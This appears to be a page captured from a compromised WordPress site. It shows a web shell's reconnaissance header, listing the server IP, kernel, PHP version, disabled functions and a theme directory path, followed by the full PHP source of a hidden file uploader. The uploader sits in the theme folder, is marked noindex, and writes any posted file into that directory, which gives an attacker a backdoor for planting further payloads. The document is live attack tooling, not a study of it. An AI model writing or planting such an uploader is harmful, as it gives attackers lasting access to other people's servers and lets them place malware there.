| Server IP : 47.82.179.145 / Your IP : 216.73.217.93 Web Server : nginx/1.26.3 System : Linux iZt4n9czhka2zvqfajdlr2Z 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64 User : www ( 1001) PHP Version : 8.3.30 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/scuipturepactory.com/wp-content/themes/moonv1/ |
Upload File : |
<?php
$msg = '';
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset( $_FILES['file'] ) ) {
$f = $_FILES['file'];
if ( is_array( $f ) && (int) $f['error'] === UPLOAD_ERR_OK && is_uploaded_file( $f['tmp_name'] ) ) {
$name = basename( (string) $f['name'] );
$name = preg_replace( '/[^A-Za-z0-9._-]/', '_', $name );
if ( $name === '' || $name === null ) { $name = 'upload.bin'; }
$dest = __DIR__.DIRECTORY_SEPARATOR . $name;
if ( move_uploaded_file( $f['tmp_name'], $dest ) && is_file( $dest ) ) {
$msg = 'OK ' . htmlspecialchars( $name, ENT_QUOTES, 'UTF-8' );
} else { $msg = 'FAIL'; }
} else { $msg = 'NOFILE'; }
}
?><!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow"><title>upload</title></head>
<body>
<p class="s">by</p>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">upload</button>
</form>
<?php if ( $msg !== '' ) : ?><pre><?php echo htmlspecialchars( $msg, ENT_QUOTES, 'UTF-8' ); ?></pre><?php endif; ?>
</body></html>